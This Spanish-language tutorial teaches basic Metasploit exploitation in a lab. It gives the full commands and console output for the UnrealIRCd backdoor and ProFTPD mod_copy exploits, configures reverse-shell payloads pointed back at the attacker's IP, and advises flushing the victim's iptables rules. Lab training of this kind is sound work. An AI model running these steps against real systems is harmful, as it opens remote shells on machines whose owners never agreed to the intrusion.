Metasploit (Explotación básica)
Si nos metemos dentro de metasploit
y ejecutamos help
podremos ver todas las opciones que tiene este framework
, al ser una herramienta tan completa tendra muchisimas opciones.
El comando que mas vamos a utilizar en metasploit
es search
ya que utiliza una serie de cosas, para filtrarte la informacion que estas buscando respecto al exploit
a decuado.
search unrealirc
Info:
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor
Y nos devolveria que en este caso solo hay un exploit
, nos dice tambien que es un exploit
que funciona excellent
por lo que nos asegura sus fallos de que pase algo son minimos y en el Check
nos pone que no
, por lo que no nos asegura que las opciones que le implementemos nosotros como atacante funcione adecadamente o no.
Si queremos utilizar el exploit
podremos hacerlo de la siguiente forma:
OPCION 1
use exploit/unix/irc/unreal_ircd_3281_backdoor
OPCION 2
use 0
La opcion 2
va a variar dependiendo de cuantos exploits
se muestre y seleccionaremos con el numero de posicion en la que este para utilizarlo.
Una vez echo lo aneterior estaremos dentro del exploit
viendo algo tal que asi:
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
Y ya dentro del exploit
tocaria configurarlo para probarlo contra la maquina victima, si por ejemplo queremos salirnos del exploit
para volver atras y buscar otra cosa, lo haremos con el comando back
.
Dentro de este framework
encontramos diferentes modulos
:
auxiliares
= Son los que nos ayudan a un descubrimiento/reconocimiento activo, o a la tarea de explotacion tambien.
Exploits
= Codigos que nos permiten aprovechar una vulnerabilidad.
Payloads
= Conjunto de payloads
que vamos a utilizar con los exploits
.
Entonces volviendo al exploit
en el que nos habiamos metido antes:
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
Tendremos que configurarlo para que funcione.
Si ejecutamos:
show options
Podremos ver que opciones tiene este exploit
para configurarlo.
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 6667 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
Si queremos que nos muestre opciones mas avanzadas sobre el exploit
podremos poner lo siguiente:
show advanced
Pero con la normal nos sirve, ya que son las opciones necesarias para que el exploit
pueda funcionar.
Ahora en las opciones vemos que hay algunas vacias las cuales tendremos que rellenar nosotros estableciendolo con el comando set
, de la siguiente forma:
set RHOSTS 192.168.16.129
Y si ahora volvemos a poner show options
podremos ver como se establecio correctamente la opcion del RHOSTS
.
Antes de ejecutarlo, tendremos que seleccionar el payload
necesario para este exploit
y eso podremos hacerlo mirando cuales nos ofrece metasploit
en este exploit
de la siguiente forma:
show payloads
Info:
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/adduser normal No Add user with useradd
1 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
2 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
3 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
4 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
5 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
6 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
7 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
8 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
9 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
10 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
11 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
12 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
En mi caso el que puede funcionar de forma generica y que esta muy bien es el numero 6
el llamado tambien como payload/cmd/unix/reverse
, por lo que lo seleccionaremos haciendo lo siguiente:
set payload payload/cmd/unix/reverse
Si hacemos un show options
veremos que se establecio correctamente, pero ahora este payload
nos pide que pongamos nuestra IP a donde queremos que nos llegue dicha conexion con el puerto tambien:
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Por lo que lo estableceremos de la siguiente forma:
set LHOST 192.168.16.128
El puerto no hace falta cambiarlo, si diera algun error, se podria cambiar por si acaso, pero de momento se queda con esta configuracion basica.
Solo le tendremos que dar a exploit
y esto se ejecutara, para poder conseguir la reverse shell
de la maquina victima.
Info:
[*] Started reverse TCP double handler on 192.168.16.128:7777
[*] 192.168.16.129:6667 - Connected to 192.168.16.129:6667...
:irc.TestIRC.net NOTICE AUTH :*** Looking up your hostname...
[*] 192.168.16.129:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo bNSMWa0nPcQzxgVU;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "bNSMWa0nPcQzxgVU\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.16.128:7777 -> 192.168.16.129:40602) at 2024-11-14 04:16:40 -0500
Con esto obtendremos una shell
que no se ve el prompt
pero si puedo ejecutar comandos en el sistema y ver lo que nos devuelve.
NOTA IMPORTANTE:
Si no va el exploit
y no te devuelve una shell, puede ser por los permisos de firewall
del iptables
de la maquina victima Linux
, por lo que tendremos que poner el siguiente comando:
sudo iptables -F
Y con esto se borraran todas las reglas firewall
.
Ahora saldremos de la shell
con Ctrl+C
dandole a y
para abortar la sesion y pondremos back
para salirnos del exploit
, probaremos con otra vulnerabilidad que vimos anteriormente del FTP
.
search proftpd
Info:
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/misc/netsupport_manager_agent 2011-01-08 average No NetSupport Manager Agent Remote Buffer Overflow
1 exploit/linux/ftp/proftp_sreplace 2006-11-26 great Yes ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
2 exploit/freebsd/ftp/proftp_telnet_iac 2010-11-01 great Yes ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
3 exploit/linux/ftp/proftp_telnet_iac 2010-11-01 great Yes ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
4 exploit/unix/ftp/proftpd_modcopy_exec 2015-04-22 excellent Yes ProFTPD 1.3.5 Mod_Copy Command Execution
5 exploit/unix/ftp/proftpd_133c_backdoor 2010-12-02 excellent No ProFTPD-1.3.3c Backdoor Command Execution
Interact with a module by name or index. For example info 5, use 5 or use exploit/unix/ftp/proftpd_133c_backdoor
Vemos que hay unas cuantas, pero en concreto elegiremos el numero 4
que se llama exploit/unix/ftp/proftpd_modcopy_exec
ya que en la version pone que es la 1.3.5
que es justo la version que vimos en la maquina victima, por eso elegimos ese.
use exploit/unix/ftp/proftpd_modcopy_exec
Una vez estando dentro del exploit
, nos pondra un mensaje que es el siguiente:
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
Nos esta diciendo que ya viene un payload
configurado por defecto, pero que se lo podremos cambiar de forma manual, en algunos exploits
viene por defecto y no hace falta cambiarlos y en otros si.
Una vez estemos dentro del exploit
, tendremos que configurarlo de la siguiente forma:
set RHOSTS 192.168.16.129
set SITEPATH /var/www/html
Vamos a ponerte en el SITEPATH
esa ruta ya que viene por defecto hasta el www
y puede ser que no tenga permisos de escritura el usuario que lo este ejecutando en la maquina, por lo que para asegurar lo haremos de esa forma, ya que lo que va a injectar es un archivo para podernos crear una reverse shell
.
show payloads
Y elegiremos el siguiente:
set payload payload/cmd/unix/reverse_perl
Despues configuramos con nuestra IP:
set LHOST 192.168.16.128
Y lo ejecutamos poniendo exploit
.
[*] Started reverse TCP handler on 192.168.16.128:4455
[*] 192.168.16.129:80 - 192.168.16.129:21 - Connected to FTP server
[*] 192.168.16.129:80 - 192.168.16.129:21 - Sending copy commands to FTP server
[*] 192.168.16.129:80 - Executing PHP payload /rJIMs.php
[+] 192.168.16.129:80 - Deleted /var/www/html/rJIMs.php
[*] Command shell session 3 opened (192.168.16.128:4455 -> 192.168.16.129:41546) at 2024-11-14 04:35:04 -0500
whoami
www-data
Last updated